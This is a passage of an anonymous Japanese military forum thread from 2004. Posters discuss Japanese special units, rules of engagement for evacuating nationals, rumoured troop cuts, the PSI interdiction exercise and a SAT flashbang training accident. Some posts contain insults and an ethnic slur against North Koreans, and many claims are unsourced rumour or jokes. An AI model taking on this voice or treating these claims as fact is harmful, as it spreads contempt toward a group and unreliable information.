それは冗談だけど、現実から目を逸らした神学問答で現場を縛れば、何かが維持できると信じているんだろうか…


関係無いけど、自衛隊法の在外法人輸送のところを読んでいて鬱になりますた。
武器使用制限は明記してあるけれど、それだけ。
ひょっとして、外務省が調整に失敗したら、丸腰同然で派遣される可能性があるってこと?(((( ；ﾟДﾟ)))ｶﾞｸｶﾞｸﾌﾞﾙﾌﾞﾙ

>>599
外務省側から要請があって初めて派遣できる。
ＲＯＥも段階的手順を踏んだ上でならば発砲できる。勿論かなり撃たれないと反撃できない。
が、その訓練内容の殆どが「動く盾となれ！」が基本。
脅威を積極的に排除できないんじゃあんまり行く意味が無い。
様は現地で「日の丸」を見せびらかすのが主任務・・・・・

>>602
え、ﾏｼﾞ？
前にプレスバスを護衛、脱出させるﾃﾞﾓがあって、TVでみながら、楽観的な想定にﾆｶﾞﾜﾗしてたんだけど…

楯になれとは…
前々から思っているんだけど、自衛隊も日本国民で、憲法と法律と国家の擁護の対象のはずなんだが…

>>589
底辺校出の陸助がどの口でほざいてんだ、あ？

>>604
空自の中の人？
お互いに望む要求にズレがでるのはしょうがない。
陸にすれば飛行機飛ばしてくれればそれでいい思ってるし、空にすればこっちのスケジュールどうりに
動いてもらはないと困る、っておもっとるんだろうし。
職種間でも一任務に対する認識の違いがあるし。
そこをどういう風にして埋めていくってのがなかなか思いつかん。

>>605
CAS誘導やら要請やらなんてことになると…(((( ；ﾟДﾟ)))ｶﾞｸｶﾞｸﾌﾞﾙﾌﾞﾙ

>>602
マテや。

ＮＥＯの意味有るんかソレ？

>>602
パスポート握ってアメリカ大使館に駆け込んだほうが安全だなこりゃ……

>>607
そういう突っ込みは、想定作った人にした方が良いと思われ。

>>603
真に受けるなよ。イラク派遣の自衛隊のROEは「撃たれてから撃て」ではなく、
「本当に撃たれそうな状況なら、先制攻撃も可」だったよ。根拠に野党が、
「そのようなROEでは、自衛隊が無実のデモ隊に発砲してしまうのでは？」
という質問を行っていた。「動く盾となれ」思想は冷戦・前911時代の遺物。
有事法制も整備されてないころの話だよ。

空自の基地防衛教導隊って、２００名規模だっけ？
任務ってどんな感じなのかな？

>>611
基地をただひたすら守りぬくのみ

>>610
脅威を強制力で、-威嚇にしろ、棍棒にしろ、銃剣にしろ、発砲にしろ、射殺にしろ-で、排除する事まで考えていなければ、
やっぱり(((( ;ﾟДﾟ)))ｶﾞｸｶﾞｸﾌﾞﾙﾌﾞﾙなんだけどなあ…

自衛隊派遣で邦人保護を考えるくらい切迫した状況が、ただのデモ隊だけを想定していれば良い、って訳でもあるまい…
そう言う意味で、動く楯、にはリアリティを感じるわけだが。
現職が言うのなら。

>>543
古い話であれだが。
９mm機関けん銃が「CQBに向かない」と言う発想自体が欠陥のような・・・・
あくまでも将校やパイロットの護身用であり、弾幕を張るのが目的の火器なのだが。
それをわざわざCQBで使う必要があるか？
それなら、イングラムやマイクロウージーも無用のガラクタだｗ

それと機種依存文字使うな、馬鹿たれ。

>>614
そう言う突っ込みしたいなら、せめて

＞特殊部隊が拳銃弾仕様火器の要請にあたって、CQB運用は少なからず要求したと推定できる。
＞理由は、80年代後半から90年代半ばまでの、CQBにSMGを運用していた一連の流れから。
＞これ以前に、SMGの野戦における価値は激減してもいるが。

この辺読んでから突っ込め馬鹿ﾀﾚ。

特殊部隊が出る面白い映画は無いですか？
ブラックホークダウンの他に

>>611
訓練とかを見る限り「基地を占拠される事」前提の部隊な気がする。

各基地の守備隊の訓練をしてるんじゃないのかね

>>616
地獄の７人

>>617
というか。。。。。。。
この空自に08年に創設される「基地防衛教導隊」って、まだ選抜もしてねぇーだろ。
新編部隊準備室が設置されるのは06年だぞ。
現段階では、構想段階だと思うのだが。。。。。
05年あたりに隊員を選抜して、基礎訓練を開始して、06年の新編部隊準備室が設置された段階で
本格的な訓練や関係機関への研修に赴いて、08年3月の正式発足に備えるのでは？？？

部隊創設の流れに関しては、WAiRや特殊作戦群あたりが長い充分な準備期間を置いて
正式発足に漕ぎつけたと思ったけど。。。

どうなんでしょう？　１J氏

基地防衛教導隊は特殊部隊と言えるのだろうか？
普教連のレンジャー班なんかと似たようなものなんだろうか？

オタが勝手に特殊部隊扱いいてるだけかも。
時々出てくるMITも艦の中の部署でしかないんだし。

>オタが勝手に特殊部隊扱いいてるだけかも。

その典型的な部隊が警察SIT

SITやSATが特殊部隊に入るなら第１空挺団とかも特殊部隊の部類に入るんじゃね―か？

空挺はわからんが、WAiRは海兵隊とGBの中間みたいなことをしてるな。

>>625
…ＧＢ？

ゲームボーイ・・・じゃないよ。

もしかしてデルタフォース？

(´ー｀)｡ｏ0(釣り何だかなんだかわからないなあ…
　　　　　　　つかＷＡｉＲってｹﾞﾘﾗ育成とかしないだろ。

チャック・ノリスの？

GB=グリンベレー　では？

ごめん。金玉とか想像してた。

＞（８９式は）だいたい切替レバーが右側にしかない時点でもうだめぽ。

たしか世界最大流通量を誇るAK４７も、右側ではなかったかと。

あと、もともと小銃を匍匐前進時に倒すときは右側が上になるのと、銃自体を両手で支えること
から、巷で言われてるほど右側セレクターに不都合はない、という意見も聞いたことがありますが、
実際のところどうなんでしょう？

1Ｊ官さんにお聞きしたいのですが
最近40普連の市街地戦訓練などで89式を隊員が親指をグリップに巻かずに
人差し指の側に置いたまま構える写真がありますが
こんな変な構え方してるのは初めて見たのですが
これは結構一般的で空挺団でもやってたりするのでしょうか？
それとも40普連がいろいろ試してるのか。

私個人の意見としては左右への反応が遅れそう、反動で銃をとり落とすかもなどデメリットしか思い浮かびませんが。

それは89Ｒ独特のセレクター位置の問題を工夫で解決してるだけなんじゃないですか？

89Ｒのセレクター位置は折り曲げ銃床が当るとか、
左側では匍匐前進時に勝手に動いてしまうので右側に付けたという話らしいですが。

>>629
そもそも海外派遣は念頭においてないよね…。

だから海兵隊を編ｓ

≪>>637様に予算の概念をぶち込んでおきます≫

そもそもWAiRの目的は離党に上陸したコマンドの掃討でしょう。
だからWAiR自身がコマンド並みの能力を持ってないとダメだと思う。

>>638
大勢で包囲するのが基本じゃないの？

>>620
基幹要員の養成はもう始まっているでしょう。
基地警を機動的に運用するノウハウはあまりなさそうですし。野外活動のある
空自部隊は限られてるし。
>>633>>634
まさしくその通りです。野外で使う分には右側でも不都合は無いんですが、市街地戦闘訓練
の際は困ってます。狭い空間で危険な空砲を使用する以上安全管理には十分過ぎる位でも
安心できない。が、いざ安全装置を解こうとするともたつく・・・
基本射撃においても指摘されている構え方をする人がいます。どっちみちもたつきますが。
８９Ｒを装備している部隊なら何処でもやってます、その構え方。

空自の場合戦闘を主任務にする部隊が無いから
相当苦労すると思うよ。
まあ、陸自に泣き付いて訓練を施してもらっているんだろうけど・・・

１J氏

陸自４万人削減についてはどう思われます？

削減されるのなら、北海道・東北がメインになるんだろうね。
全て旅団化され、普通科連隊なども廃止若しくは移動なんだろうね。
駐屯地も無くなるところがあるかも。
冷戦崩壊後の現在の北海道にあれだけの駐屯地は不用でしょう。

プレイボーイの記事でSSTが富士学校で600ｍ射撃で好成績を収めたような
ことが書いてあったけど、600ｍもの距離で64式で的に当てられるものなのでしょうか？

>643
ttp://taka25th.cathand.com/newpage256.htm#4p

ところで富士学校に64式射撃訓練コースなんかあるの？
そんなの本でも見た記憶がないけどな。

>>615
で？
それで反論したつもりか？
なんの価値もない文章を持ち出されても困るがな。
9mm機関けん銃をＣＱＢ用途で比べようと言う発想自体が欠陥だと言っていたが、お前の脳みそこそ欠陥だったようだ（ﾌﾟｯ

プレイボーイに載っていたSST（海警隊）を射撃大会に誘った‘日頃から交流のある地元の駐屯地っ‘て・・・信太山駐屯地かいな？37普連？？

>>646
で？
それで価値ある文章を書いたつもりか？
何の価値もない文章を持ち出されても困るがな。
9mm機関けん銃に限らず、拳銃弾を使用する火器の野戦における価値付け、ＣＱＢ用途においての価値付けを考慮できない発想そのものが欠陥だと言っておこう。理解できないお前の脳みそこそ欠陥だったようだ（ﾌﾟｯ

>>641
その記事はすでに飛ばし記事ということになってる。その証拠に陸自４万人
削減は日本にとって米軍再編並みの大事件なのに、他のどの新聞でも
取り上げておらず、記事を書いた日経自身、その後何のコメントもない。

削減するのは戦車じゃなかったか？

記事発表の翌日に日経に一度電話した者ですが、あちらさんは　

　『他の新聞社が書いてないから怪しいってことにはならない』
　『ならうちの記者の特ダネってことでしょう』


と言ってたのですが……(´･ω･`)
てか何て記者だか聞いておけばよかった…


もう一度電話したら何て返事が帰ってくるだろう…？

>>651
あなたが本当に日経に電話したのであれば、その新聞社の答え方からいって
飛ばし記事と断定できる。なぜならそれだけの記事を書いているのに、
本当にその記事に書いてあることが実際に決定されているのであれば
『ならうちの記者の特ダネってことでしょう』などとそっけなく返すわけが
ない。もっとその記事について熱心に詳しく話してくれるはずである。

削減されることには変わり無いだろ→陸自

当然の事ながら、陸自の双子の兄弟の空自も削減されるし、
海自だって削減される。

まぁ、削減されたところで、中国軍なんぞ屁でもないし、ロシア軍は腐敗が
激しく、自国防衛が精一杯らしいよ。第一、中国の最優先目標は台湾だしね。

でも、自分としても削減計画が現実にならないように祈ってるよ。
自衛官とか軍事評論家の人たちに大きく反対の声を挙げてほしいもんだ。

ふう…今日も平和だなぁ…。

>>652
なるほど…(´･ω･`)

>>655
フィリピンも中共（海）軍に脅かされているよ。
まぁフィリピンの場合は自分で駐在米軍を追っ払ったことが原因らしいが。
あとベトナムも中国軍に対して心穏やかではないかもしれない。

>>656
平和が一番さ。

26のPSIはやはりSSTが主役だと思うけど、２７日海自主催の臨検訓練
には米TACLETや仏海兵隊臨検チーム、豪ボーデングチーム、そして
海自のMITの臨検訓練が見られるんじゃないかな、SBUの参加は不明だが
、もしかしたら有り得るかもね。各国特殊部隊の共演ですな

ある意味、特殊な任務を担う部隊だけど特殊部隊って言うほどのもんでもない気がする

27日にPSI訓練の一環として海自主催で行われる臨検訓練にMITが出ることになりました！

＞＞６６１
ソースは？

横須賀の某護衛艦のチームが訓練してまつ。

このチームはファストロープも披露してまつ

なんでSBUを出さないんだ！！

他の国は海軍の特殊部隊を出してるのに！
にほんは沿岸警備隊の特殊部隊を出しやがって！

SSTは見飽きた！
SBUを出せチンコ！

>>665
SBUを見たいのならば
2ちゃんねるで文句を言うだけではなくて、
防衛庁に情報請求してみてはいかがかな？

まぁ気持ちはわからないこともないけど。

防衛庁がまともに相手するとは思えないけど。。。。。。

実は、米海軍もＵＳＣＧのＴＡＣＬＥＴを乗せてきたり。

ていうか、PSIに米海軍は航空機・艦船のみで、特殊部隊（SEAL）を派遣してないじゃん。
常に沿岸警備隊の臨検要員（TACLET要員）のみの派遣じゃないの？
沿岸警備隊も特殊部隊（TACLETコマンダー）を派遣してないし。
PSIで特殊部隊を派遣しているのは、日本の海保（SST）とイタリア海軍（COMSBIN）のみじゃないの？

>>665

今回はSBUは参加しないけど、
次回以降で、昨年の豪州沖みたいな感じの海外での日本メインのPSI訓練があれば、
海自が全面参加し、SBUによる臨検訓練もあると思う。

どうなんだろう。
以前の報道ではアメリカ政府関係者が北朝鮮への圧力を強めるために
海上保安庁に日本海でのPSIを実施してもらうことを示唆してたから
やはり、海保がメインになるのでは？

>>671
当初は、今回のPSI訓練を海自メインで開催する予定だったけど、外務省が
北朝鮮や中国に遠慮した結果、海保メインになったはずだよ。
防衛庁側も法的位置付けに問題がなく、海自が参加するのに支障が無いと判断
していたから。

http://www.asahi.com/politics/update/1011/001.html
>海自も初参加するが、Ｐ３Ｃ哨戒機が通常の活動中に容疑船を発見・通報するだけで、護衛艦は停船・捜索活動には
>加わらない。外務省などとの事前調整で、中国や北朝鮮など近隣諸国への刺激を避けるため、海自の役割が情報提供
>に限定されたためだ。

>だが、防衛庁は「自衛隊の本訓練への全面参加は可能」と主張した。
>現行法で（１）日本への武力攻撃事態（２）周辺事態（３）不審船追跡のような海上警備行動の発令時には、
>自衛隊による乗船検査は可能とされているためだ。

その意味で、２７日に海自メインで臨検訓練を開催するしね。

本当にSBUの参加する可能性は低いのですか？

27日の海自主催訓練はあれか、位置づけとしては5月ごろに海保が神戸でやった
ASEAN不拡散セミナーとおんなじ感じかな？

ていうか、売国奴（外務省）が勝手に北チョンに遠慮して海自主催から海保主催に変更したがムカつくわ。

というか、今月のPSI演習ってもともと海自主催だったの？

>>676
正確には日本政府主催。
元々海自が臨検等のメイン訓練を担当する予定だったのが、外務省の横槍で
海保がメイン訓練を担当することになってしまった。

今回は珍しく海自はやる気満万だったね。
諦めきれずに２７日に海自主催で臨検訓練するけどね。

海自が臨検のメインって話あったっけ？
今回はオブザーバーではなく艦艇航空機も参加させるって話なら聞いたんだが。

>>679
大量破壊兵器拡散防止訓練　中韓参加せず
http://www.tokyo-np.co.jp/00/sei/20041003/mng_____sei_____000.shtml

>日本政府は当初、海上自衛隊の護衛艦などを使用し、船舶立ち入り検査の訓練を行うことも検討した。
>しかし、北朝鮮への刺激を避けるために、訓練上の海自の役割を警戒監視、情報提供などに限定する方向で準備を進めることにした。

最初から海保がメインで海自がどこまで参加できるかって話じゃなかったか？

特戦群の動画って公開されませんかね〜？
ttp://www.nfmcaseb.no/Video_Kataloger/Spes%20ops%202003.mpg
(ノルウェーのＳＦでつ）

>>677
実際にはPSI訓練は外務省主催。
訓練の大まかな想定は外務省が設定する。
それを実務を担当する防衛庁と海上保安庁にこの想定で
具体的な部隊運用計画を立ててくれ。と投げる。
防衛庁と海上保安庁には部隊運用以外の権限はPSI訓練に
おいては与えられていない。
その他の権限はすべて外務省が持っている。

>>682
特戦群の訓練風景を見たいなら船橋市に引っ越せ。
習志野駐屯地近くのマンションに住めば見れるぞ。

そんな漏れは広島の江田島に移住予定。
江田島湾付近に住もうと思っている。

>>684
江田島に行けばＳＢＵが見れるんでつか？
ttp://www.not5150.com/movies/linkster.php?LID=290&URL=http://www.not5150.com/movies/cool/new14/sealsmoveshoot.zip
（＊・∀・）しーるずタン、ハァハァ

この各国特殊部隊による臨検訓練の模様はTV放映されるのか。

SBUと特戦群、SSTで個人格闘はどこが一番優れているんだろうか？
いちど各部隊対抗のトーナメント大会でも開いてもらいたい、これなら
交流にもなるし。

>>685
かなり高い確率で訓練風景を見れる。
地元漁師の間で知らない者はいない。

>>687
やってもらいたいものだねえ。
でも特戦群やSBUの隊員はナイフ等の武器を用いた格闘もするのでSST隊員は
辛いのでは？

SBUには格技オリンピック並みの選手がいると噂があるが、ほんと？

■０６年編成目標　陸自に海外派遣司令部■〜部隊新設　対テロも統括

防衛庁は十二月に閣議決定される「防衛計画の大綱」の改定を受けて、海外派遣やテロ対処の司令部に
なる「中央即応集団」を陸上自衛隊に新設する方針を決めた。
海外派遣の専門隊員約二百人で新規編成する「国際待機部隊」を持ち、地方にある五個方面隊の持ち回
りで一千人程度の派遣要員を指定する。
自衛隊は専守防衛から海外活動へと大きく軸足を移すことになる。
陸海空自衛隊の統合運用が開始される二〇〇六年三月までの編成を目指すことにしている。
司令部を朝霞駐屯地（東京都練馬区）に置き、指揮下に陸自唯一のパラシュート部隊の第一空挺（くうてい）
団（千葉県船橋市）、対テロ専門部隊の特殊作戦群（同）、大型輸送ヘリコプターＣＨ４７で編成される
第一ヘリコプター団（千葉県木更津市）などを収める。
http://www.tokyo-np.co.jp/00/sei/20041017/mng_____sei_____000.shtml

多分、というかまず間違いなく特戦群だと思う。
この3つの中では徒手格闘（日本拳法）だけでなく、空手、銃剣道も陸自が抜きん出て強い。
特に習志野は徒手格闘が強いから。

これは個人的な話になるけど、少林寺拳法の乱捕りで、元自衛官の人と当たった事があるけど
手も足も出んかった…。一応、乱捕りもキチンとやってるんだけどなぁ･･･。

中央即応集団にSBUと基地防衛教導隊も入れてくれ！

格闘だけで言うなら

特戦群＞SBU＞＞SST＞SAT

の順位になるんじゃないの？

>>692
無茶だよねー。

中央即応集団にSSTとSATも入れてくれ！

>>692
いっそのこと、米穀みたいに特殊作戦コマンドつくるか。

>>695
SSTは考えても良いけどSATは絶対嫌だ！

＞＞６９７なんでSATは駄目なの？

>>698
・SAT隊員はおまわりさんだから。
・野戦や空挺降下や水中浸透上陸が出来ないから。
・厨房ファンが多いから。
・ミニミを装備してないから。
・もやしっ子が多いから。

>>699
みっつめと最後の釣り針は外しとけｗ

1も読めない人と釣り師は書きこみ禁止です。

厨房ファンの多さでは、自衛隊が最強だろう。あ、今は海保か（ｗ

まあ、なんだ・・・
ここは軍事板だよな？
んで、SATは警察組織だよな？
ということは、このスレに書きこんでいる奴にSATファンはいないはずだ。
厨房じゃあるまいし、軍事と警察の違いを理解しているはずだ。
SATファンは警察板に書き込んでいるはずだ。
ここで必死にSATを擁護する書き込みをするということは、あれだな・・・


話は変わるが、消防の卒業文集で「将来の夢」というので、「警察官になりたい」という
のが多いらしい。
厨房でもまた同じらしい。
「踊る大捜査線」の影響なのだろうか？

普通に考えて消防や厨房で、「自衛隊や海保になりたい」という奴は皆無だろ。


SSTや40普連やWAiRのマスメディアへの頻繁な露出の影響か、工房以降では
「自衛隊や海保に入りたい」と言う奴が多いらしい。

でも大卒、高卒共に倍率で言えば、警察が圧倒的に高いわな。
海保や自衛隊の倍率はよく知らんが。

２士　で3〜4倍
☆　10〜20倍
曹学　30〜40倍
幹部候補　40倍以上

>>699
SATってMINIMI装備してないの？
ふつう特殊部隊なら機関銃を装備しているでしょ

>>705
昔は自衛隊に入る大卒者は幹候コースか曹学コースぐらいだったのに
現在では曹候補士コースや一般（任期制２士）コースでもいるらしいね。

それって昔よりもマッチョ率が低くなっているということか？
第１空挺団の隊員の質も昔よりも低くなってきているということか？

今後の戦闘職種の部隊運用大丈夫か？

>>707
自衛隊よりも倍率の高い警察の方がマッチョ率遥かに低いと思ふ
機動隊やSATのレベルは昔よりも遥かに下がっているのではないか？

司令塔欠き主導権争い（太字）
「外務省、海自を別扱い」
「周辺国に影響懸念」

　略）「日本はＰＳＩのアジア地区責任者」（幹部）と気負う外務省は、アジア諸国に
今回の訓練への参加を呼びかけてきた。それだけに、できるだけ軍事色を薄めたかった。
事前の調整で「自衛隊が捜索に加わるような想定は認められない」と主張。海自の独自
訓練についても、「そんなに合同訓練をやりたいなら、ＰＳＩと切り離してやればいい」
と反対した。
　一方、海自にとってはＰＳＩ訓練への参加は念願だった。９９年３月の能登半島沖の
不審船事件以来、海自は、乗船検査訓練の充実や特別警備隊の創設など海上警備行動に
力を注いできた。
　豪州沖で昨年９月に行われたＰＳＩ訓練に海上保安庁が参加したが、海軍特有の通信
様式がわからず、無線連絡に手間取った。海自幹部は「我々の方がうまくやれるのに」と
悔しがった。
　これに対して、海保は「我々の領域を侵そうとしている」（幹部）と海自の動きを警戒。
外務省と共同歩調を取った。
　一旦は、海自の訓練は「ＰＳＩとは切り離す」となりかけたが、防衛庁側は「なぜ我々
だけが別扱いなのか」と激しく抵抗。結局、警察庁などが２２日に行う輸出管理セミナー
と同様の「ＰＳＩ訓練の一環」という位置づけになった。

http://www.defence.gov.au/news/navynews/editions/4617/IMAGES/01-pacific%20protector%202.jpg
オーストラリア主催の拡散防止演習「パシフィックプロテクター」
想定船「トーキョー・サマー」と海上保安庁特殊部隊SST

>>709
http://news17.2ch.net/test/read.cgi/news4plus/1097461407/34

>>711
必死だな（ププッ

>>707
そこまでマッチョな奴は警察にも自衛隊にも殆どいないし、そもそも入ってから鍛えれば
いいからそこまで問題じゃないと思う。

団武道競技会なんてものがある時点で一般部隊との差は出てるな。
徒手格闘、銃剣道、短剣道、空手、柔道に剣道。種目多すぎ。
師団なら連隊対抗銃剣道競技会ぐらいしかないし、それも年中それだけやってる
訓練隊の者達しか出れないし。
空挺は小隊対抗戦から（つまり個人戦から）始まるし、常に流血の伴う戦技競技会って
殆どの部隊では安全管理上なかなか実行できないと思う。
空挺は中病に一定数の入・通院患者出してる比率も高いし・・・

>>682
八千代市の緑ヶ丘駅周辺の高層マンションの南側がお勧めｗ
望遠レンズで演習場を２４時間監視。航空機の騒音がうるさいだろうがｗ
西側のある建造物群が・・・

>>714
いいことじゃないですか。練度向上、結構なことじゃないですか。


ウザイでしょうけど…。

報道ステーションのシリーズ特集で・・ありますな。

いかにも朝ピって感じでしたね。

■26日、相模湾沖で訓練　大量破壊兵器の拡散防止で■

政府は１８日、大量破壊兵器の「拡散防止構想（ＰＳＩ）」の一環として、各国が参加する海上訓練を
２６日に相模湾沖で行うと発表した。日本政府の主催で、アジアでは初の実施。
北朝鮮は訓練を「挑発的」と非難しており、１１月上旬にも開かれる拉致問題の日朝実務者協議に
影響する可能性もある。
　訓練には防衛庁・自衛隊から約３８０人、海上保安庁から約２００人が参加する。自衛隊は護衛艦
１隻、Ｐ３Ｃ対潜哨戒機１機などを派遣。米国、フランス、オーストラリアは要員と艦船などを参加させ
る。
このほか、英国など１８カ国がオブザーバーを派遣。２５日には事前の研究会、２７日には横須賀港
沖で展示訓練を行う。

（共同通信） - 10月18日18時28分更新

http://headlines.yahoo.co.jp/hl?a=20041018-00000155-kyodo-pol



27日の横須賀湾沖での展示訓練・・・
・・・SBUの勇姿を拝むことができるだろうか？

警視庁特殊部隊SAT隊員、訓練中に閃光(せんこう)弾を誤って手中で爆発させ重傷

警視庁の特殊部隊SATの隊員が2004年8月、訓練中に閃光(せんこう)弾を誤って手の中で
爆発させ、指が吹き飛ぶ重傷を負っていたことがわかった。警視庁は事実関係を公表していなかった。
事故があったのは8月中旬で、ハイジャックや立てこもり事件の制圧を専門とした警視庁の
特殊部隊SATの20歳代の隊員が、訓練中に特殊閃光弾を誤って手の中で爆発させ、隊員は
手の指2本が吹き飛ぶ重傷を負った。
ほかにけが人などはいなかった。
この隊員は現在、リハビリ中だという。
この事故について、SATを所管する警視庁警備1課の坂井孝行課長は、「事故があったのは
事実だが、訓練自体が極秘のうえ、本人以外にけが人が出なかったため公表しなかった。
今後は再発防止に努めたい」とコメントしている。

http://www.fnn-news.com/headlines/CONN00059021.html

本当に特殊部隊かよ・・・情けないよな(　´,_ゝ｀)ﾌﾟｯ
訓練中に自爆なんて切腹もんだよな。本番中だったらどう責任とるつもりなのか。
全然メディアに露出しないのはやっぱりこのように錬度が低いからだからだろうな。
まったく特殊部隊の面汚しだなwwwまぁ所詮元お巡りさんだからしかたねぇかwwww

空挺団はともかく西方普連は他の陸自部隊との合同訓練はやってるのかな？
少数精鋭の部隊は一般部隊との連携がうまくいかなかったら、全滅する可能性が高いし。

>>720
まぁなんだ・・・・漏れもSATを特殊部隊だと認めていないし、期待してないし、興味無いけど、
揚げ足を取るような書き込みは止めようぜ。
SAT厨が湧いて来て、荒れるからさ。

それに実力は別としても、２０数年の歴史の有るSATでさえ、このような初歩的なミスをするんだから、
数年の歴史しかない自衛隊の特殊部隊でも、今後起こり得るミスだと思うよ。
‘他人の振り見て我が身を直せ‘だね。

>>722
フラバンは確かに、信管が短時間になってる(投げ返されないため、という解説を読んだ事があるが、違うと思う)
ピンを抜いて、レバーを外した後、握ったまま、1〜3秒何かのトラブルがあったんだろう。

そういや、宇都宮立てこもり事件でも特殊閃光弾の投げ込み失敗してたよね。
あれは県警銃器対策部隊？SIT？

>>721
西方普連は40普連と共同で対ゲリラ訓練をやってましたよ。
SATマガジンに書いてあった。

>>724
県警機動隊だった希ガス

>>724->>726

スレ違いだけど、立て篭もり事件の対処（突入）を捜査一課特殊班（SIT等）が必ずしも
担当するわけじゃないからね。
栃木県警や新潟県警では、機動隊（銃器対策部隊）が担当しているからね。

>>720
普段は模擬弾で訓練していたが、その時は実物を使用していて投擲者本人は
いつもと同じ模擬弾だと思い込んでいてボケーっとしていた。なんてのが案外真相かも？
実戦を意識した訓練をしとらんとなりがちな・・・・・・・
本当のところはどうなんだろう？激しく気になる。
いつか似たような事が我が身に訪れるかも知れない。
他組織であっても事故事例は気になる。

確かに。毎回本物ばかり使うわけにもいかないしねぇ。

>>728
個人的な感想ですが、
1突入班の指揮官が、待てをかけている状態かなにか（確認していて注意が投擲手以外に逝っていたとか）
2投擲手本人が何かの理由で、レバーをリリースしてしまった。
3その状態で、連絡の齟齬があって（待て、をコールされたとか）
4投擲手が擲弾から注意を逸らしたほんの数秒で炸裂。

いや、遊びで突入とかやったことあるんですけど（ｗ）隠密統制が意外と大変で…

ｱﾒﾘｶのSWATの写真なんか見ると、投擲手はブリーチャーより後ろにいて、ブリーチャーがバッタリングラムをもって前に逝ったあとに続いていって、
最終ｺﾞｰが班長から出てからピン抜きと、ドア開放、直後の投擲とやってるみたいです。

つか、ミスったら、ミスをコールして投げ捨てる方が良いと思います。
勝手にやると怒られるでしょうから、今回の事件の対策検討とあったら、ミスったら投げ捨てないと危ない、と。
ｵﾀの分際で偉そうですが(w

閃光弾だから指ﾁｮﾝですんだ。
あれが手榴弾だったら・・・。

投擲しようとしてレバーをリリースした直後にマテの指令・・
爆発するのは解ってるけど命令がなく離せなかった。何てこともありそう？
緊張感のある組織、場だとありえそうな気が・・

言葉は変だがこういう事故は忘れかけていた緊張感を取り戻させる
結果になり、特殊部隊にとってはプラスだと思う。
仮にSATが本出動する時があったとして、こういう事故があった
直後なら、まずフラバン関係のミスはしないであろう。

>>732
それは無いはず。

と、いうより、信管が数秒で手榴弾より短い。
だから、一瞬、注意を逸らしで、判断を回復する前に、手の中で炸裂しちゃったんだと思う。

抜いたら投げる意外の選択肢無し、を完全にたたき込まないと駄目、って結論だろうね。失敗しても、成功しても、レバーが外れていたら、どこかに投げる事、っていうふうに。

>>717-718
今日の有志連合村特集はなかなか良かった。日本が普通の国として
扱われていることに感激したよ。

あ〜クソ見逃した・・
＞735
ちょっと前の報道では、自衛隊の機密情報アクセス権は最低ランク？だったんだけど今は違うのかな？

今回の事故、公になったってことは知る必要のない身内(偉い人)にもばれて、安全対策やらなんやらで実戦的な訓練が出来なくならなければよいけど。

>>730
手信号やアイコンタクトでお互いの意思を確認しあうのは本当に難しいです。＜隠密統制
やっぱり自衛隊式に
安全把がはずれたなら即安全な方向（隊員達にとって）へ投げるか、捨ててその場から逃げる、
しかなさげ・・・消極的だけどこれしかないしなあ。
>>733
宇都宮一件でもそうでしたが、最近の警察の状況を見る限りいつ事故等が起きても
おかしくはなかった様に思われます。
緊張感から来るものだったのか、気が緩んでの事なのか・・・
いずれにせよ今回の事が安全管理と隊員の綱紀粛正にはなると思われ。

>>737
安全管理も行き過ぎると自衛隊の様に「訓練の為の訓練」に成り下がってしまう
恐れもありますから・・・
錬度の高さを維持向上しようとするなら、常に危険と隣り合わせにならないと意味が無い。
ここら辺の加減が難しい。

>>737
貴様、メル欄に何も書いていないのになぜIDが表示されんのだ？

>>740
0

あ、御免sageが良かったかな？

やっぱ自衛隊って訓練の為の訓練なんだ。
使えないね。

>>743
そんな餌に俺様がクマー（AA略

SATもSSTも特殊作戦群も役立たず。日本は治安維持組織も軍事組織も駄目だ。

>>745
まあまあ。
役に立つか立たないかは君が決めることではない。
君が役に立つのかどうか誰にもわからないようにね。

わが国主催の「拡散に対する安全保障構想（ＰＳＩ）」海上阻止訓練について
防衛庁・自衛隊は、シナリオに基づき訓練に護衛艦「いかづち」、
P-3C型航空機1機、SH-60J型航空機1機及びE-767型航空機1機を、
展示訓練に護衛艦「しらゆき」及び立入検査要員を参加させる予定です
（参加人員合計約380名を予定）。

↓
http://www.jda.go.jp/j/news/2004/10/18a.htm


我が国主催の「拡散に対する安全保障構想（ＰＳＩ）」海上阻止訓練について
シナリオに基づく海上阻止訓練
(1) 日　時：１０月２６日（火）【荒天の場合は２７日（水）に順延】
(2) 場　所：相模湾沖合
(3) 参加勢力
�@ 船 舶：５隻（ヘリコプター２機搭載型巡視船１隻、大型巡視船１隻、高速特殊警備船１隻、小型巡視船１隻、航路標識測定船１隻）
�A 航 空 機：３機（固定翼機１機、ヘリコプター２機）
�B 要 員：捜査班等
�C 参加人員：約２００名
海上阻止訓練
海上阻止訓練を実施する当日は、訓練に参加する巡視船上で取材が行えるように準備を進めております。
取材の御案内については、改めて連絡いたします。
↓
http://www.kaiho.mlit.go.jp/info/kouhou/h16/k20041018-2/index.html

忍者部隊月光

海自は護衛艦「しらゆき」MIT（立ち入り検査部隊）か・・・

噂で聞いたのだが、MITは護衛艦ごとに編成されている故に
部隊のレベルの差が大きいらしいな。

海軍陸戦隊みたいだな。

>>750
戦前みたいに陸戦隊がつくられませんかね〜
ttp://www.onpoi.net/ah/pics/users/379_1095280824_commando.wmv
(英国海兵隊員の勇姿)

なんで海上保安隊じゃなく海上保安庁なんだ？
それなら自衛隊も陸上防衛庁でも良いんじゃねーの？

>>752
そんな餌で俺様がクマー

>752
陸上防衛庁・海上防衛庁・航空防衛庁とそれぞれの縄張り
争いで恐ろしく非効率になる悪寒。
って戦前の日本はまさにそうだったんだけどね（ｗ

>>752
海上保安庁が海上保安隊ではない理由？
たぶん、海上保安庁が行政組織だからだろう。

自衛隊だって行政担当は防衛庁って名前になってるでしょ？

特別陸戦隊、、、国内基地警備及び離島での陸自の作戦の支援。
艦内編成のは臨検のみに限定。

２７日展示訓練にて、MITがヘリからファストロープ降下も
着地時に足を滑らせ尻餅を突き、勢いで携行していた９ミリ機関拳銃を
海に投げ込んでしまい大恥じをかく。

海保はSSTを出すのに海自はSBUをなぜ出さないんだ？

海自の陸警隊は、陸自のように迷彩服を着用して警備しないのだろうか？

>>757
9ミリ機関拳銃を海に投げ込むのはわざとだな？
これを機会にちゃんとした銃を導入しようとするために。

>>756
アホゥ！陸戦隊なんかダサ過ぎる。海兵隊を創設せよ！
これで大使館の警備も有事即応も一挙に解決。

てか、テロ対策強化の為に、自衛隊が皇居や国会や首相官邸など国家中枢機能を警備する計画があるじゃん？？

もし(・∀・)自衛隊が皇居を警備する事になったら、皇居警備を限定した特別師団の
『近衛師団』
を復活・創設する事は無いんかねぇ？？

>>762
皇居護衛官と大喧嘩になります。

MITはフアストロープ降下は失敗しないし、機関拳銃を落とすこともない。

